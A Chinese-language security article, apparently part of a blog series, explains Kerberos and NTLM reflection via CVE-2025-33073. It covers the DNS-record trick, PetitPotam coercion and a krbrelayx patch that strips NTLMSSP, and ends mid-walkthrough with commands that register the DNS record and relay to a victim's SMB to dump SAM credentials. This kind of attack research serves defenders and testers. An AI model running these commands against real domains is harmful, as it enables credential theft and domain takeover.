在上一篇文章中我们详细介绍了 NTLM 中继攻击。但中继攻击并不局限于 NTLM 协议——Kerberos 同样可以被中继,而且在某些方面比 NTLM 中继更具威胁:Kerberos 协议在设计上没有同机反射限制。
NTLM 自 MS08-068(2008 年)以来一直有 LSASS Challenge 缓存防护来阻止同机反射——即客户端不能将自己的 NTLM 认证”中继回”自己的服务。但 Kerberos 的 SE_REQ 消息不经过 NTLM SSP,没有 MIC(Message Integrity Code)校验,也没有同机反射防护。这意味着 Kerberos 中继天然绕过了 NTLM 的所有反射保护。
2025 年 6 月,微软修补了 CVE-2025-33073(CVSS 9.8)。这个漏洞的核心是一个 DNS 主机名处理技巧,它巧妙地解耦了”SPN 指向谁”和”连接连到谁”。利用这个技巧结合强制认证技术,任何低权限域用户都可以将一台机器自身的 Kerberos 认证中继回它自己,实现远程 SYSTEM 权限获取甚至域控沦陷。
CVE-2025-33073 并非 Kerberos 专有漏洞——它同样可以用于 NTLM 反射(且默认行为就是触发 NTLM 路径)。本文之所以侧重 Kerberos 侧面,是因为 Kerberos 中继的利用门槛更高(需要修改 krbrelayx)、但防御面更窄(仅禁用 NTLM 完全无法防御)。
为什么 Kerberos 也可以被中继
在理解具体攻击手法之前,先要明白两件事:Kerberos 协议为什么不防中继,以及攻击者凭什么能诱导受害者发起 Kerberos 请求。
Kerberos 协议缺少什么
对比 NTLM,Kerberos 在两个关键维度上防护更弱:
| 防护维度 | NTLM | Kerberos |
|———|——|———-|
| 消息完整性保护 | ✅ NTLMv2 MIC(HMAC-MD5 覆盖全部三条消息,绑定通道信息) | ❌ SE_REQ 不含 MIC 等效字段。Kerberos Authenticator 只证明”持票人知道会话密钥”,不证明”我是和谁协商的” |
| 同机反射保护 | ✅ MS08-068(LSASS Challenge 缓存):客户端检测到目标是自己时,拒绝同一 Challenge 被重放回来 | ❌ 完全没有。Kerberos 协议假设”拥有合法 Service Ticket 的就是合法客户端”,不关心 SE_REQ 从哪里发来 |
核心结论:Kerberos 天然允许同 Principal 访问同机器上的服务。在正常的业务场景中这是合理的——比如域控上的某个服务需要访问同一台域控上的另一个服务。但这种”合理的允许”在中继场景中就成了致命的信任缺口。
Kerberos 中继的基本模型
NTLM 中继的完整流程是:Victim 先被诱导连接到 Attacker 的 SMB 服务器(Victim 以为自己连的是合法服务器,比如通过 PetitPotam 被指定了一个 UNC 路径,或通过 LLMNR 投毒被”骗”到了攻击者 IP)→ Victim 发送 Type 1(NEGOTIATE)→ Attacker 此时才去连接真正的 Target,拿到 Target 生成的 Challenge(Type 2)→ Attacker 将 Challenge 原样转发给 Victim → Victim 毫不知情,用自己的凭据计算 Response(Type 3)→ Attacker 将 Response 转发给 Target → 认证通过。整个过程中 Victim 自始至终以为自己是在和一台合法服务器直接认证,Attacker 只是一个透明的中间人。
但 Kerberos 中继的模型不同——攻击者截获的是 SE_REQ。
SE_REQ 里面有什么
在《NTLM 与 Kerberos 认证》一文中我们已经见过 SE_REQ 的结构(在 Kerberos 认证的第三阶段 SE_REQ 中发出)。它是一个两层嵌套加密的数据包:
SE_REQ
├── Service Ticket (ST) —— 服务票据
│ └── 加密密钥 = 服务账户的长期密钥
│ (机器账户的 AES Key / NTLM Hash,只有该机器知道自己密钥)
│ 解密后得到:
│ ├── Session Key TGS(临时会话密钥)
│ ├── Client-info(客户端身份:用户名、域名等)
│ └── PAC(Privilege Attribute Certificate)
│ ├── 用户 SID
│ ├── 组成员 SID
│ └── SIDHistory 等授权信息
│
└── Authenticator —— 认证器
└── 加密密钥 = Session Key TGS(← 这个密钥在 ST 里面!)
解密后得到:
├── Client-info
└── Timestamp(时间戳,默认 5 分钟窗口)
解密 SE_REQ 需要两步:
步骤 1:用服务密钥解密 ST → 得到 Session Key TGS
步骤 2:用 Session Key TGS 解密 Authenticator → 得到 Client-info + Timestamp
攻击者为什么无法修改 SE_REQ:Session Key TGS 藏在 ST 里,ST 用服务密钥加密——攻击者既没有服务密钥(第一步就卡住了),更没有 Session Key(它在加密的 ST 里面)。别说修改内容,连读都读不了。攻击者唯一能做的,就是把这个不透明的数据包原样转发给另一台机器。
现在来看中继的结果——取决于”谁能解密这个 ST”:

三个场景揭示的核心原则:
Kerberos 中继的成功条件不是”受害者 == 中继目标”,而是 “票据 SPN 指向的机器 == 中继目标所在的机器”。只要这个等式成立,不管受害者是谁,中继都能成功。
这岂不是可以直接跨 DC?
读到这你可能会想:既然只要 SPN 匹配就行,那我直接用 PetitPotam 诱导 DC01 去连接 DC02,让 DC01 请求 cifs/DC02 的票据,中继回 DC02 不就行了?为什么还要费劲搞 DNS 技巧?
这个问题恰好揭示了 Kerberos 中继最根本的矛盾:
PetitPotam 的工作原理:
→ 攻击者调用 DC01 上的 EFSRPC,传入 UNC 路径
→ DC01 的 lsass.exe 尝试连接该 UNC 路径
→ 连接到哪里,SPN 就基于那个主机名构造
矛盾来了:
方案 A:让 DC01 连接攻击者(才能收到 SE_REQ)
PetitPotam listener = attacker.testjd.local
→ DC01 连接 attacker.testjd.local
→ DC01 请求 SPN = cifs/attacker
→ 票据用 attacker$ 密钥加密
→ 中继到 DC02 → ❌ DC02 没有 attacker$ 密钥,解密失败
方案 B:让 DC01 连接 DC02(SPN 才对)
PetitPotam listener = DC02.testjd.local
→ DC01 连接 DC02.testjd.local
→ DC01 请求 SPN = cifs/DC02
→ 票据用 DC02$ 密钥加密 ✅
→ 但 DC01 直接把 SE_REQ 发给 DC02 了——TCP 连的是 DC02 的真实 IP
→ 攻击者根本收不到 SE_REQ ❌
两个目标天然互斥:要收到 SE_REQ,受害者必须连攻击者;要 SPN 匹配中继目标,受害者请求的票据必须指向中继目标。在正常的网络通信中,连接目标和 SPN 由同一个主机名决定,你不可能让 DC01 连到攻击者 IP 的同时请求 cifs/DC02 的票据。
这正是 CVE-2025-33073 DNS 技巧存在的意义——它是截至目前唯一已知的、能够在应用层解耦”连接目标”和”SPN 目标”的技术。通过 CredUnmarshalTargetInfo 从主机名中剥离 base64 blob,SPN 取自前缀、连接目标取自 DNS 解析结果,二者分道扬镳。
这也解释了为什么 Kerberos 中继的利用场景至今很少:在没有 DNS 技巧的年代,Kerberos 中继要么需要网络层中间人(ARP 欺骗 + DNS 劫持,门槛极高),要么只能在中继目标恰好也是受害者的场景下做自中继(但自中继在没有 DNS 技巧前也无法精细控制 SPN)。直到 2025 年 CVE-2025-33073 公开,才有了一个可靠的、只需普通域用户权限的应用层方案。而该漏洞在 2025 年 6 月已被修补。
即使 SPN 匹配了,还有一个更隐蔽的障碍:Session Key
DNS 技巧解决了”SPN 不匹配”的问题。但即使这个问题解决了,跨机器 Kerberos 中继到 SMB / LDAP 等大多数服务时仍然会失败。原因藏在 SE_REQ 认证成功之后的一步:
Victim (DC01) Attacker Target (DC02 的 SMB)
│ │ │
│ 1. SE_REQ │ │
│ Ticket(cifs/DC02) │ │
│───────────────────────────────────>│ │
│ │ 2. 中继 SE_REQ │
│ │───────────────────────────────────>│
│ │ │
│ │ 3. DC02 用自身密钥解密 ST │
│ │ → 得到 Session Key │
│ │ → 验证 Authenticator ✓ │
│ │ → Kerberos 层认证成功! │
│ │ │
│ │ 4. DC02 返回 SE_REP(AP_REP) │
│ │ 用 Session Key 加密 │
│ │<───────────────────────────────────│
│ │ │
│ │ ❌ Attacker 无法解密 SE_REP │
│ │ 没有 Session Key! │
│ │ Session Key 在加密的 ST 里面 │
│ │ 只有 Victim 和 Target 知道 │
认证在 Kerberos 层成功了,但会话在应用层卡死了。 攻击者无法解密 SE_REP,更严重的是——接下来的 SMB 通信需要 Session Key 来签名每一条消息。攻击者没有 Session Key,无法签名 → SMB 会话建立失败。
这就解释了为什么能可靠利用的 Kerberos 中继目标极其有限:
服务类型 Session Key 依赖 中继可行性
──────────────────────────────────────────────────────
SMB(签名) 必须用 Session Key 签名 ❌ 攻击者无 Session Key
LDAP 强制签名 + CBT ❌ 攻击者无 Session Key
LDAPS 强制 CBT ❌ TLS 通道绑定无法绕过
MSSQL 可选签名 ⚠️ 取决于配置,多数环境强制
HTTP(AD CS) 不要求 GSS-API 签名 ✅ SE_REQ 中的 PAC 已包含
客户端身份,AD CS 只需
验证该身份即可颁发证书
ESC8 之所以成为 Kerberos 中继的”招牌场景”,不是因为它攻击力最强(虽然确实很强),而是因为它几乎是唯一一个不需要 Session Key 就能完成整个攻击链条的服务。 HTTP 协议不强制 GSS-API 层签名,AD CS 不需要攻击者证明自己持有 Session Key——它只看票据中的客户端身份(PAC 中的 SID),验证通过就发证书。
反射(自中继)为什么例外
攻击路径一的场景 B(Kerberos 反射 → SYSTEM)在 SMB 目标上成功了,却不是通过正常的会话建立路径。RedTeam Pentesting 的研究指出:在回环场景下,Windows 的 KERB_LOCAL 结构导致了一个令牌混淆——LSASS 检测到认证来自本机 SYSTEM 进程,直接将 SYSTEM 令牌复制到了攻击者的安全上下文中,完全绕过了需要 Session Key 的正常 SMB 会话建立流程。这不是”中继成功”,而是”令牌被错误继承”。
这也意味着:SMB 反射获取 SYSTEM 是一种特殊的远程攻击手段(攻击者从未在受害者机器上本地操作,全程通过网络中继完成),但它不等于”Kerberos 中继到任意远程 SMB 可以正常工作”——跨机器的 SMB 中继仍然受 Session Key 约束。
为什么不能直接反射域控的 SMB
读到这里你可能会问:既然自中继能拿 SYSTEM,为什么不直接对域控做 Kerberos 反射,一步到位拿下全域?
答案卡在 SMB 签名上。域控在 SMB 层面默认强制签名——即使 Kerberos 层的令牌混淆把 SYSTEM 令牌给了攻击者,攻击者在 SMB 传输层仍然无法签名后续消息(没有 Session Key)。域控看到未签名的 SMB 请求,直接拒绝。
这一点在多个独立研究中得到一致确认:RedTeam Pentesting 的原始论文明确指出 “The server-side signing policy is significantly more important than the client-side policy”;BreakPoint Labs 的利用演示中,krbrelayx 反射成功后的默认行为就是对受害者执行 secretsdump(SAM 凭据导出);Praetorian 的「One-Hop」分析进一步指出,成员服务器的 SMB 签名缺失是整个 Tier Model 中最薄弱的环节。
攻击路径一:反射到 SMB
对成员服务器(签名未强制):令牌混淆 → SYSTEM → ✅ 成功 → secretsdump / 命令执行
对域控(签名强制): 令牌混淆 → SYSTEM → ❌ SMB 层签名校验失败
攻击路径二:反射到 HTTP(AD CS)
对域控:SE_REQ → AD CS HTTP → 不要求 SMB 签名 → ✅ 成功
这恰好串联起了两条攻击路径的分工:
– 路径一(SMB 反射):针对签名未强制的普通机器,远程获取 SYSTEM(默认导出 SAM 凭据,也可 -c 执行命令)。NTLM 可用时走场景 A(最方便),NTLM 禁用时走场景 B(Kerberos 变体)。两条子路径均不能打域控
– 路径二(ESC8 中继):唯一能直接打域控的路径——因为中继目标是 HTTP,绕过了 SMB 签名
这也反过来解释了一个实践问题:为什么域控是 SMB 签名唯一默认强制的角色?正是因为域控的安全敏感性最高,微软在这里设了一道额外的防线。而 Kerberos 反射之所以能打成员服务器,本质上是因为那些机器没有这道防线。
成员服务器沦陷后,域控还远吗
你可能会接着问:如果反射能批量拿下成员服务器,为什么网上似乎没有见到这种大规模利用的思路?事实上,这个思路是存在的,而且有完整的文档。
Praetorian 在 CVE-2025-33073 的分析中提出「One-Hop Problem」:攻击者的目标从来不是成员服务器本身,而是成员服务器上能触达域控的路径。具体而言:
低权限域用户
→ CVE-2025-33073 反射 → 成员服务器 SYSTEM
→ 检查该服务器是否配置了非约束委派(Unconstrained Delegation)
→ 如果有:PrinterBug 强制域控向该服务器发起 Kerberos 认证
→ 域控的 TGT 被缓存在成员服务器的 LSASS 中
→ Dump TGT → DCSync → 全域沦陷
从域控的视角看:它自己的 SMB 签名完好无损,它从来没有被”直接攻击”过——它只是向一台配置了委派的合法服务器做了一次正常的 Kerberos 认证。攻击者绕过了域控自身的所有防线,从它信任的服务器上拿到了钥匙。
这就是为什么”只能拿成员服务器 SYSTEM”并不是一个安慰性的结论——在配置了非约束委派的环境中,成员服务器沦陷等同于域控沦陷。CVE-2025-33073 提供了到达那台成员服务器的跳板,而 AD 自身的委派机制提供了从成员服务器到域控的桥梁。
谁来选择认证协议:SPNEGO 协商机制
你可能注意到一个矛盾:Kerberos 中继和 NTLM 中继都需要受害者发起认证请求,但最终走哪条协议——是 NTLM 还是 Kerberos——谁说了算?
答案是:SPNEGO(Simple and Protected GSS-API Negotiation)协商说了算。攻击者通过控制自己 SMB 服务器在协商中声明哪些机制,间接决定了受害者最终使用的协议。
SPNEGO 协商过程
SPNEGO(RFC 4178)是 SMB 协议使用的安全机制协商框架。当受害者连接到攻击者的 SMB 中继服务器时,认证之前会先发生一次协商:
受害者 (SMB 客户端) 攻击者的中继服务器 (SMB 服务端)
| |
| SMB2_SESSION_SETUP |
| ├─ SecurityBuffer: GSS-API/SPNEGO Token |
| │ └─ NegTokenInit |
| │ ├─ mechTypes: [ |
| │ │ MS KRB5 (1.2.840.48018.1.2.2), |
| │ │ KRB5 (1.2.840.113554.1.2.2), |
| │ │ NTLMSSP(1.3.6.1.4.1.311.2.2.10) |
| │ │ ] |
| │ └─ mechToken: (乐观令牌——先尝试首选机制) |
|----------------------------------------------->|
| |
| SMB2_SESSION_SETUP |
| ├─ SecurityBuffer: GSS-API/SPNEGO Token |
| │ └─ NegTokenResp |
| │ ├─ negResult: (接受/继续/拒绝) |
| │ ├─ supportedMech: (选中的机制 OID) |
| │ └─ mechTypes: [ ... ] ← 服务端声明 |
|<-----------------------------------------------| 自己支持哪些机制
| |
| 根据服务端声明的 mechTypes, |
| 客户端决定最终使用哪种认证协议: |
| |
| 如果服务端支持 NTLMSSP → 客户端可以用 NTLM |
| 如果服务端不支持 NTLMSSP → 客户端只能用 Kerberos |
| (因为 Kerberos 同时在两边的列表中) |
正常 Windows SMB 服务端 vs 攻击者的中继服务器
| | 正常 Windows SMB 服务端 | ntlmrelayx(未修改) | krbrelayx(未修改) | krbrelayx(修改后) |
|——|——|——|——|——|
| 声明 Kerberos | ✅ | ❌ | ✅ | ✅ |
| 声明 NTLMSSP | ✅ | ✅ | ✅ | ❌(被移除) |
| 受害者可用的协议 | Kerberos 或 NTLM | 只能 NTLM | Kerberos 或 NTLM(回环优先 NTLM) | 只能 Kerberos |
回环场景下的特殊行为:NegpIsLoopback
在 DNS 技巧构造的场景中,受害者检测到目标主机名等于自己的主机名,lsasrv!NegpIsLoopback 返回 true。此时 Windows Negotiate SSP 有一个特殊行为:优先选择 NTLM 本地认证。
正常场景(目标 ≠ 本机):
客户端 mechTypes = [Kerberos, NTLMSSP]
→ Kerberos 优先级最高
→ 客户端乐观尝试 Kerberos SE_REQ
回环场景(目标 = 本机,NegpIsLoopback = true):
客户端 mechTypes = [Kerberos, NTLMSSP]
→ NTLM 本地认证优先级最高(特殊行为)
→ 客户端乐观尝试 NTLM
这就是为什么 CVE-2025-33073 刚披露时,几乎所有研究和工具都围绕 NTLM 反射展开——因为在回环场景下,Windows 的默认行为就是走 NTLM。
攻击者如何”强制”走 Kerberos
攻击者的中继服务器运行的是 krbrelayx(一个自定义的 SMB 服务端),不是真正的 Windows SMB 服务。因此攻击者可以控制 SPNEGO 响应中声明哪些 mechTypes。
走 NTLM(ntlmrelayx 的默认行为):
- ntlmrelayx 只声明 NTLMSSP → 受害者只能用 NTLM → NTLM 反射 → 成功(如果 SMB 签名未强制)
走 Kerberos(修改后的 krbrelayx):
1. krbrelayx 移除 NTLMSSP OID,只声明 Kerberos 机制
2. 受害者在回环场景下优先尝试 NTLM → 发现服务端不支持 NTLM
3. 受害者无法走 NTLM → 转向双方都支持的 Kerberos
4. 受害者向 KDC 请求 Kerberos 服务票据 → 发送 SE_REQ
5. krbrelayx 接收 SE_REQ,中继到目标
核心认知:攻击者不是”命令受害者用 Kerberos”,而是通过限制自己服务端的能力(移除 NTLMSSP),让受害者的 NTLM 选项变得不可用,迫使受害者走 Kerberos。这也反过来解释了为什么 CVE-2025-33073 同时涉及 NTLM 和 Kerberos——漏洞本身是协议无关的 DNS 技巧,具体走哪条路径取决于中继工具的配置。
强制认证:如何让受害者发起请求
在讨论中继之前,必须先解决一个前置问题:攻击者怎么让一台远程机器主动向自己发起 SMB 连接(从而触发 Kerberos/NTLM 认证)?
这个问题在 NTLM 中继一文中已经详细展开过,此处重点展开对本文最关键的 PetitPotam 的技术原理。其余强制认证技术(PrinterBug、DFSCoerce、ShadowCoerce 等)的原理和用法请参见 NTLM 中继攻击一文的对应章节。
PetitPotam(MS-EFSRPC)工作原理
PetitPotam 由安全研究员 Lionel Gilles(@topotam77)于 2021 年发现。它利用 Windows 的 MS-EFSRPC(Encrypting File System Remote Protocol)接口来强制目标机器向外发起认证。
核心漏洞:UNC 路径解析的时序问题
MS-EFSRPC 是 Windows 用于远程管理 EFS 加密文件的 RPC 协议,通过 \pipe\lsarpc 命名管道暴露。其关键函数是 EfsRpcOpenFileRaw(Opnum 0),函数签名如下:
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName, // ← 攻击者控制的 UNC 路径
[in] long Flags
);
攻击者调用这个函数时,传入一个指向自己服务器的 UNC 路径(如 \\192.168.244.1\share\foo)。问题出在 efslsaext.dll 的处理逻辑中:
EfsRpcOpenFileRaw_Downlevel(FileName) {
// 1. 先用服务端自身的安全上下文解析 UNC 路径
EfsGetLocalFileName(FileName); // ← 触发 SMB 连接到 UNC 路径!
// 2. 之后才模拟客户端身份
RpcImpersonateClient(); // ← 为时已晚
}
RpcImpersonateClient() 的调用晚于 EfsGetLocalFileName()。这意味着 UNC 路径的连接是以 lsass.exe 自身的身份(即 NT AUTHORITY\SYSTEM / 机器账户)完成的,而不是以攻击者(RPC 调用方)的身份。
整个过程分三步:
攻击者 目标机器(lsass.exe)
| |
| 1. RPC 调用 EfsRpcOpenFileRaw |
| FileName = \\192.168.244.1\share |
|--------------------------------------->|
| |
| | 2. lsass.exe 以 SYSTEM 身份
| | 解析 UNC 路径
| | 发起 SMB 连接到攻击者 IP
| | 触发 Kerberos / NTLM 认证
| | (以机器账户身份!)
| |
| 3. 收到目标机器账户的认证请求 |
|<---------------------------------------|
| |
| 4. 中继此认证到其他服务 |
关键结论:
- 认证是由目标的 机器账户(如
DC01$)发起的,而不是攻击者的低权限用户 - 如果目标是域控,机器账户
DC01$拥有 DCSync 等极高权限 - PetitPotam 本身不是漏洞利用,它只是一个强制认证原语——后续必须配合中继才能完成攻击
- 需要攻击者拥有有效的域凭据才能调用 MS-EFSRPC 接口(Windows Server 2016+ 的匿名管道列表默认为空)
执行命令
关键:listener 必须用主机名,不能是 IP 地址。PetitPotam 的第一个参数(listener)决定了受害者向谁发起连接。如果这里是 IP 地址(如 \\192.168.244.1\share),Windows SMB 客户端无法确定应该向 KDC 请求哪个 SPN 的 Kerberos 票据(cifs/192.168.244.1 不是合法的 SPN),直接退化为 NTLM,整个 Kerberos 中继的链条从一开始就被截断了。
第二个参数(target)是 RPC 调用的目标——即对哪台机器执行强制认证。虽然用 IP 地址技术上可行,但出于与上述原则一致,本文后续所有攻击链示例统一使用 FQDN。
# 触发 SMB 认证(直连攻击机)
# listener 必须是主机名,用 IP 会退化为 NTLM——因为 Kerberos SPN 基于主机名构造
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
attacker.testjd.local 192.168.244.133
# 触发 HTTP 认证(通过 WebDAV,推荐——绕过 SMB 签名问题)
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
attacker@80/test 192.168.244.133
CVE-2025-33073:突破反射限制的 DNS 技巧
现在有了强制认证能力,受害者会主动向攻击者发起 SMB 连接。但还有一个关键问题需要解决:如何让受害者请求的 Kerberos 票据能被中继目标解密?
问题分解
在 Kerberos 反射场景中,攻击者的目标是让受害者把 SE_REQ 中继回受害者自己。这就要求受害者向 KDC 请求 cifs/VICTIM 的服务票据(因为只有受害者自己拥有解密该票据的密钥)。
但在正常的网络通信中:
- 受害者连接的目标是攻击者的 IP
- 受害者请求的 SPN 应该是与攻击者 IP 对应的服务名
- 两者对不上——受害者不会为一个攻击者 IP 所在的机器请求
cifs/VICTIM票据
CVE-2025-33073 的 DNS 技巧正是解决这个矛盾的钥匙。
CREDENTIAL_TARGET_INFORMATIONW:James Forshaw 的发现
Google Project Zero 的 James Forshaw 发现,Windows 的 CredMarshalTargetInfo API 可以将一个 CREDENTIAL_TARGET_INFORMATIONW 结构体序列化为 base64 字符串,而 CredUnmarshalTargetInfo 可以在另一端将其还原。
这个结构体包含:
– TargetName:SPN 中使用的目标服务名
– NetbiosName:NetBIOS 机器名
– DnsName:DNS 域名
– 其他:森林名、树名等
关键行为:当 Windows SMB 客户端解析目标主机名时,会尝试从主机名中提取并反序列化 CREDENTIAL_TARGET_INFORMATIONW 的 base64 数据。解码成功后,客户端使用结构体中的 TargetName 构造 Kerberos SPN,同时使用 DNS 解析的实际 IP 地址建立 TCP 连接。
DNS 名解耦:SPN 与连接目标分道扬镳
攻击者向 AD DNS 注册一条记录,DNS 名由两部分拼接而成:
VICTIM1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
├── VICTIM
│ └── SPN 部分:KDC 会为 cifs/VICTIM 签发票据(受害者自己)
└── 1UWhRC...BAAAA
└── base64 编码的 CREDENTIAL_TARGET_INFORMATIONW blob
→ 指定 DNS 解析应指向攻击者 IP
Windows SMB 客户端的处理流程:
1. 客户端解析 DNS 主机名 "VICTIM1UWhRC...BAAAA"
2. CredUnmarshalTargetInfo 提取并剥离 base64 部分
3. 留下的 "VICTIM" 用于构造 SPN = cifs/VICTIM
4. DNS 解析 "VICTIM1UWhRC...BAAAA" → 攻击者 IP
5. TCP 连接到攻击者 IP
6. 向 KDC 请求 SPN = cifs/VICTIM 的 Kerberos 票据
7. 将 Kerberos SE_REQ(携带 cifs/VICTIM 票据)发送给攻击者
结果:
✅ SPN = cifs/VICTIM → 只有 VICTIM 自己能解密
✅ TCP 连接 = 攻击者 IP → 攻击者收到 SE_REQ
✅ 攻击者将 SE_REQ 中继回 VICTIM → VICTIM 解密自己的票据 → 认证成功
一条 DNS 记录,同时实现两个目标:SPN 指向受害者自己,网络连接指向攻击者。
通用 localhost 记录(适用于 NTLM 路径)
除了针对特定机器的记录外,还有一个更通用的版本:
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
├── SPN 部分 = localhost → 任何 Windows 机器都匹配
└── 同上的 base64 blob
当受害者连接到这个 DNS 名时,Windows 检测到主机名以 localhost 开头,自动选择 NTLM 本地认证模式(NTLMSSP_NEGOTIATE_LOCAL_CALL 标志被设置),SYSTEM 令牌被复制到服务器安全上下文中。这条通用记录不需要针对每个目标单独注册。
NTLM 反射路径与 Kerberos 反射路径
CVE-2025-33073 的 DNS 技巧本身是协议无关的——它同样触发 NTLM 和 Kerberos 两条可能的认证路径。具体走哪条,取决于攻击者 SMB 服务器在 SPNEGO 协商中声明了哪些机制。
┌─────────────────────┐
│ DNS 技巧解耦 SPN │
│ 与连接目标 │
└─────────┬───────────┘
│
┌──────────────┴──────────────┐
│ │
┌─────────▼─────────┐ ┌─────────▼─────────┐
│ NTLM 路径 │ │ Kerberos 路径 │
│ (默认行为) │ │ (需移除 NTLMSSP OID)│
├───────────────────┤ ├───────────────────┤
│ 受害者检测到目标 │ │ krbrelayx 只声明 │
│ 名 = localhost 或 │ │ Kerberos mechTypes │
│ 本机 hostname │ │ → 受害者无法选 NTLM │
│ → 选择 NTLM 本地 │ │ → 请求 Kerberos │
│ 认证模式 │ │ 票据 + 发送 SE_REQ│
│ → NTLMSSP_ │ │ → 同机反射无 MIC │
│ NEGOTIATE_ │ │ 保护 → 成功 │
│ LOCAL_CALL │ │ │
│ → SYSTEM 令牌复制 │ │ │
└───────────────────┘ └─────────────────────┘
NTLM 路径是默认行为。Windows 的 Negotiate SSP 在检测到连接目标是本机(通过 lsasrv!NegpIsLoopback 函数比较目标名与 localhost、本机 FQDN、本机 hostname)时,会优先选择 NTLM 本地认证。这也是为什么 CVE-2025-33073 刚披露时,多数研究和工具都围绕 NTLM 反射展开。
Kerberos 路径需要额外干预。要让受害者走 Kerberos,攻击者必须从 krbrelayx 的 SPNEGO 响应中移除 NTLMSSP OID——受害者看到服务器只支持 Kerberos,无法选择 NTLM,只能构造 Kerberos SE_REQ。
krbrelayx.py 的关键修改
为什么默认行为不走 Kerberos
Windows 的 Negotiate 认证包在回环场景下有一个硬编码的偏好:
受害者机器检测回环逻辑:
lsasrv!NegpIsLoopback(target_name) {
return (target_name == "localhost" ||
target_name == 机器 FQDN ||
target_name == 机器 hostname)
}
DNS 技巧构造的 target_name = "SCRIBE"(受害者本机 hostname)
→ NegpIsLoopback 返回 true
→ Negotiate SSP 选择 NTLM 本地认证
→ 攻击者收到 NTLM 消息(有同机反射保护,MS08-068 会阻止)
在 DNS 技巧构造的场景中,目标名恰好等于受害者本机 hostname,因此 NegpIsLoopback 返回 true,Negotiate 会选择 NTLM。要强制走 Kerberos,必须让攻击者 SMB 服务器在 SPNEGO 协商中只声明 Kerberos 机制。
具体修改
修改文件:krbrelayx/lib/servers/smbrelayserver.py
原代码(第 156–159 行):
blob['tokenOid'] = '1.3.6.1.5.5.2'
blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
修改后——移除最后一行 NTLMSSP OID,只声明 Kerberos:
blob['tokenOid'] = '1.3.6.1.5.5.2'
blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5'])])
效果:
修改前(默认):
受害者 Negotiate SSP 看到服务器支持 [Kerberos, NTLM]
→ NegpIsLoopback = true
→ 选择 NTLM 本地认证
→ MS08-068 反射保护生效 → 中继失败
修改后(移除 NTLMSSP):
受害者 Negotiate SSP 看到服务器只支持 [Kerberos]
→ NTLM 不可用,只能走 Kerberos
→ KDC 请求 SPN = cifs/VICTIM 的 Service Ticket
→ 构造 SE_REQ 发送给攻击者
→ 攻击者中继 SE_REQ 回受害者 SMB 服务
→ 无 MIC 保护 → 无同机反射防护 → 成功
两条攻击路径
CVE-2025-33073 最终导向两种不同等级的攻击目标:远程获取单机 SYSTEM 权限和域级别权限获取。两者共享同一个核心(DNS 技巧解耦 SPN + 强制认证触发 + 中继),但在中继目标、利用效果和适用条件上有本质区别。
这是远程攻击,不是本地提权:攻击者全程在自己的机器上操作。中继成功后,攻击者获得一个以 SYSTEM 身份认证的 SMB 会话,通过该会话远程导出凭据(
secretsdump)或执行命令(-c参数)——整个过程从未在受害者机器上登录过,也从未在那台机器上运行过任何本地程序。RedTeam Pentesting 的官方公告将其定性为 “authenticated remote code execution with SYSTEM privileges”。关于域用户凭据:两条路径都只需要一个任意有效的域用户凭据(即使是
Domain Users组中最普通的账户)。PetitPotam 的 MS-EFSRPC 调用在 Windows Server 2016+ 上要求经过身份验证的 RPC 连接,但不要求调用者有任何特殊权限或组成员身份。同样,AD 集成 DNS 区域的默认 ACL 授予Authenticated Users(即所有域用户)CreateChild权限。因此,任何一个能登录域的账户——哪怕是最低权限的——都满足前提条件。共同前提:
– 攻击者拥有一个任意有效的域用户凭据(注册 DNS 记录 + 调用 PetitPotam)
–Authenticated Users对 AD 集成 DNS 区域默认有CreateChild权限(大多数企业未修改)
– 目标机器与攻击者之间网络可达(445/TCP 等)判断目标是否强制 SMB 签名——这决定了攻击路径一是否可用。最快捷的方式是用
netexec(crackmapexec 的后继项目):“`bash
扫描单个目标
netexec smb 192.168.244.132
输出示例:SMB signing: False → 可打攻击路径一
输出示例:SMB signing: True → 不可打攻击路径一(域控或已加固的机器)
“`
也可以用 impacket 自带的
DumpNTLMInfo.py(无需凭据):“`bash
python3 DumpNTLMInfo.py 192.168.244.132输出中查看 SigningEnabled / SigningRequired 字段
“`
经验法则:域控一定显示
True(默认强制);Windows Server 2019/2022 成员服务器和 Windows 10/11 默认显示False。
| | 攻击路径一:SMB 反射 | 攻击路径二:ESC8 中继 |
|——|——|——|
| 中继目标 | 受害者自身的 SMB 服务 | AD CS HTTP 端点 |
| 最终效果 | 远程 SYSTEM(单机凭据导出 / 命令执行) | 域级别权限(证书 → TGT → DCSync) |
| 需要 SMB 签名未强制? | ✅ 是(域控天然免疫) | ❌ 否(目标为 HTTP,不依赖 SMB) |
| NTLM 禁用后还能用? | ✅ 能(切换为 Kerberos 变体) | ✅ 能(原本就走 Kerberos) |
| DNS 记录 | 通用 localhost 或特定机器名 | 必须匹配中继目标的主机名 |
攻击路径一:SMB 反射 → 远程 SYSTEM
整个过程是远程的:攻击者运行中继工具(ntlmrelayx 或 krbrelayx),触发受害者认证后,中继工具获得一个以 SYSTEM 身份认证的 SMB 会话,通过该会话远程执行操作。默认行为是 secretsdump(导出 SAM 凭据),也可以通过 -c 参数执行任意命令。
两个场景本质上是同一个攻击,区别仅在于受害者走 NTLM 还是 Kerberos 协议完成认证——最终都是令牌混淆导致 SYSTEM 令牌被复用。
场景 A:NTLM 路径(默认首选)
走 NTLM 时使用通用 localhost DNS 记录,一条记录覆盖域内所有未强制 SMB 签名的机器,最为便捷。
# 1. 注册通用 localhost DNS 记录(一条记录覆盖所有目标)
dnstool \
-u 'testjd\attacker' -p 'Bb123456' \
-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d 192.168.244.1 \
-a add -dns-ip 192.168.244.131 \
192.168.244.131
# 2. 启动 ntlmrelayx,中继回受害者自身的 SMB
# 默认模式——导出 SAM 凭据(无需 -c 参数)
impacket-ntlmrelayx -t smb://WIN10PC.testjd.local -smb2support --keep-relaying
